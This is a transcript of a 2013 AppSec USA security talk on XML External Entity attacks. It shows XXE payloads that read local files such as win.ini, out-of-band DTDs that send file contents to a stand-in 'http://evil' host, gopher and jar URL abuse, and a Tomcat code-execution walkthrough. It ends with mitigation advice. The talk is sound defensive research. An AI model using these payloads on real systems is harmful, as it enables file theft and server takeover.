What You Didn't Know About XML External Entities...
Transcript of What You Didn't Know About XML External Entities...
![Page 1: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/1.jpg)
What You Didn't Know AboutXML External Entities Attacks
Timothy D. Morgan
![Page 2: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/2.jpg)
About Me
• Application pentesting for nearly 9 years
• Enjoys vulnerability research– Always learning/developing new techniques– Loves to collaborate on research– Current areas: XXE, Application Cryptanalysis, IPv6
• OWASP chapter leader in Portland, Oregon(we're always looking for speakers)
@ecbftw
![Page 3: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/3.jpg)
XML Entrenchment
• XML is extremely pervasive– Document formats (OOXML, ODF, PDF, RSS, ...)– Image formats (SVG, EXIF Headers, …)– Configuration files (you name it)– Networking Protocols (WebDAV, CalDAV, XMLRPC,
SOAP, REST, XMPP, SAML, XACML, …)
• Any security issue that affects XML, potentially affects a lot of software
![Page 4: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/4.jpg)
XML Entities
• Entities are a feature defined in DTDs– DTDs a legacy carry-over from SGML– Allow for macro-like text and XML substitution– External entities are used to include other
documents
• Entities are well-known source of attacks– Miles Sabin on xml-dev (June 8, 2002)– Gregory Steuck on Bugtraq (October 29, 2002)
![Page 5: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/5.jpg)
Well-Known Attacks
• Arbitrary URL Invocation– CSRF-like Attacks
• DoS attacks abound– Recursive entity definition (''billion laughs attack'')– DDoS against third parties via HTTP/FTP
• Data theft via ''external'' entities– Point entity to local file or internal HTTP resource– Include entity inline in document– Application exposes the XML contents later
![Page 6: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/6.jpg)
Data Theft:Typical Scenario
Attacker Application Database
![Page 7: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/7.jpg)
Inline Retrieval Example
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini">]]><updateProfile> <firstname>Joe</firstname <lastname>&file;</lastname> ...</updateProfile>
Read win.ini and store it in your user's profile:
![Page 8: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/8.jpg)
Inline Retrieval: Limitations
• Retrieved document must be well-formed XML– No binary (must be UTF-8/16 data)– In text, no stray '&', '<' or '>'– XML files can be embedded, but often not usable
• Requires that the application gives data back
![Page 9: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/9.jpg)
Misconceptions
• Pentesters: ''Data retrieval is impractical''– New research has made it more practical
• Vendors: ''Developers can just turn off external entities''– Few developers even know that they are at risk
• Vendors: ''Parser resource limits will stop DoS''– Completely ignores URL-oriented attacks
![Page 10: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/10.jpg)
Parameter Entities
Just like regular entities, but only for DTDs
<!DOCTYPE updateProfile [ <!ENTITY % moresyntax "<!ENTITY foo 'dynamic'>">%moresyntax;]]>
… <lastname>&foo;</lastname>…
![Page 11: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/11.jpg)
Inline with CDATA
Wouldn't be nice if we could do this?
<!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///has/broken/xml"> <!ENTITY start "<![CDATA["> <!ENTITY end "]]>">]]>… <lastname>&start;&file;&end;</lastname>…
Doesn't work this way... =(
![Page 12: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/12.jpg)
Inline with CDATA
But with parameter entities, we can pull it off:<!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "file:///has/broken/xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://evil/join.dtd">%dtd;]]>… <lastname>&all;</lastname> …
<!ENTITY all "%start;%file;%end;">
Here, the join.dtd file contains:
![Page 13: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/13.jpg)
DTD Inline Retrieval: Limitations
• XML-related restrictions persist– Still no binary (must be UTF-8/16 data)– Some XML chars still cause problems, but
well-formed XML files now readable as text
• Requires that the application gives data back
• Requires ''phone home'' access
![Page 14: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/14.jpg)
Out of Band Retrieval
• Wait... If we can build entity tags dynamically, why can't we build dynamic entity URLs?– We can!– First described by Osipov and Yunusov at
Blackhat EU 2013
![Page 15: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/15.jpg)
Out of Band Retrieval
Grab the file and send it all in the DTD:<!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "file:///path/to/goodies"> <!ENTITY % dtd SYSTEM "http://evil/send.dtd">%dtd;%send;]]>…
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil/?%file;'>" >%all;
Here, the send.dtd file contains:
![Page 16: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/16.jpg)
OOB Retrieval: Advantages/Limitations
• The up side– No application interaction– Data theft before schema validation
• Character Limitations– Still no binary (must be UTF-8/16 data)– Either ' or '' will cause an error– # will cause URL truncation
• Requires ''phone home'' access
![Page 17: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/17.jpg)
Power of URLs
• Don't underestimate the humble URL
• Many platforms/parsers support a surprising variety of URL schemes/protocols
• Many protocols can be used in unintended ways
• Usable without external entity support
![Page 18: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/18.jpg)
Schemes by Platform
libxml2 PHP Java .NET
filehttpftp
filehttpftpphpcompress.zlibcompress.bzip2dataglobphar
httphttpsftpfilejarnetdocmailtogopher *
filehttphttpsftp
* Removed circa September 2012
Those enabled by default:
![Page 19: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/19.jpg)
Java Idiosyncracies
• file://... handler gives directory listings
• Older versions of Java allow arbitrary data to be sent over TCP via gopher://...
• The jar://... handler can be used to:– Peek inside any ZIP file– Upload files (!)
![Page 20: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/20.jpg)
Playing with Java's Gopher
• gopher://{host}:{port}/{type}{request}
– Any host, any TCP port– type is a single digit integer– request can be any binary data, percent-encoded
• Perfect for:– CSRF-like attacks on internal services– Port scanning– Exploiting secondary network vulnerabilities
![Page 21: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/21.jpg)
Gopher Limitations
• Disabled in Oracle JDK, September 2012– Thanks to:
''SSRF vs. Business-critical applications: XXE tunneling in SAP'' -- Alexander Polyakov, Blackhat 2012
– Supported in 1.7u7, 1.6u32 and earlier
• Requests are single-shot; no handshakes
• Limited retrieval of responses
![Page 22: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/22.jpg)
A Jar of Fun
• jar:{url}!{path}
– url is any supported URL type (except jar)– path is the location within the zip file to fetch
• Can be used to pull files from:– jar/war/ear, docx, xlsx, ...
• DoS attacks– Decompression bomb anyone?– Fill up temporary space
![Page 23: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/23.jpg)
Jar Uploading
• How does Java handle remote Jars?– Download jar/zip to temporary file– Parse headers, extract specific file requested– Delete the temporary file
• Can we find this temp file?– Of course! We have directory listings
![Page 24: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/24.jpg)
Winning the Jar Race
• Temp file is only there for what, a second?– It's there as long as the download takes...– ...and we control the download rate!
• Attack process:– Force a jar URL to be fetched– Push almost all of the content immediately– Stall the rest of the download indefinitely– Use directory listings to locate the file
![Page 25: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/25.jpg)
Jar Upload Notes
• We can upload arbitrary file content– Not just zip files
• We can't control:– Location of the file– Any part of the name or extension
![Page 26: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/26.jpg)
Attacking Tomcat
• A slightly older public web application – Runs under Tomcat 6 and Oracle JRE 1.7u7– Tomcat admin interface restricted to internal
• Load balancer used to handle SSL/TLS
• Public web app vulnerable to an XXE flaw– ''Inline'' entity inclusion usable– TCP egress permitted
RCE SCENARIO
![Page 27: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/27.jpg)
Tomcat Deployment
Internet
InternalVulnerable Admin
Application Servers
![Page 28: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/28.jpg)
How can we pwn this server?
DEMO TIME
![Page 29: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/29.jpg)
Step 1: Reconnaissance
Attacker
First, rummage around using directory listings...
What's this?!?tomcat-users.xml
![Page 30: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/30.jpg)
Step2: Upload
Attacker
Upload evil.war via jar://...
![Page 31: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/31.jpg)
Step 3: Find Temp File
Attacker
More directory listings to find our file under /tmp/...
Trickle the download for a while...
![Page 32: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/32.jpg)
Step 4: Start Deployment
Attacker
gopher://localhost:80/...
Download done, keep port open
![Page 33: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/33.jpg)
Step 5: evil.war Deploys
Attacker
1: Grabs our temp file
2: Deploys temp file as new app
![Page 34: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/34.jpg)
Step 6: Enjoy the Fruits
Attacker
Profit!
![Page 35: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/35.jpg)
XXE: A Collection of Techniques
• Power of XXE comes from synergy:– Combining multiple XXE techniques– Combining XXE with other flaws
• XML is complex and changing– New techniques still being discovered– New capabilities, thanks to new standards
![Page 36: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/36.jpg)
Developer Recommendations
• Know your XML library– XML features– URL capabilities
• Turn off as much as you can– Hopefully: external entities, DTDs, and network
• Mitigate the rest– Pre-parsing input validation– Block network egress
![Page 37: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/37.jpg)
Vendor Recommendations
• Long-term fix comes only from you
• ''Off by default'' policy for all XML features– Inline DTD parsing off by default– External entities off by default– Entities off by default– Configurable whitelist of allowed protocols that is
highly restricted by default
![Page 38: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/38.jpg)
More Vendor Recommendations
• Never assume developers understand XML– Well document potentially dangerous features
• ''... but ... but it's a standard!''– Most dangerous features are optional already– Encourage better security warnings to vendors in
W3C documents– Make ''off by default'' part of the standards
![Page 39: What You Didn't Know About XML External Entities Attacks2013.appsecusa.org/2013/wp-content/uploads/...Developer Recommendations • Know your XML library – XML features – URL capabilities](https://reader034.fdocuments.in/reader034/viewer/2022043010/5f9ec00136d1b71c5a21c783/html5/thumbnails/39.jpg)
Fin
• Thanks to:– Omar Al Ibrahim & VSR– AppSec USA Organizers
• Watch for an upcoming XXE paper– http://www.vsecurity.com/– Follow me: @ecbftw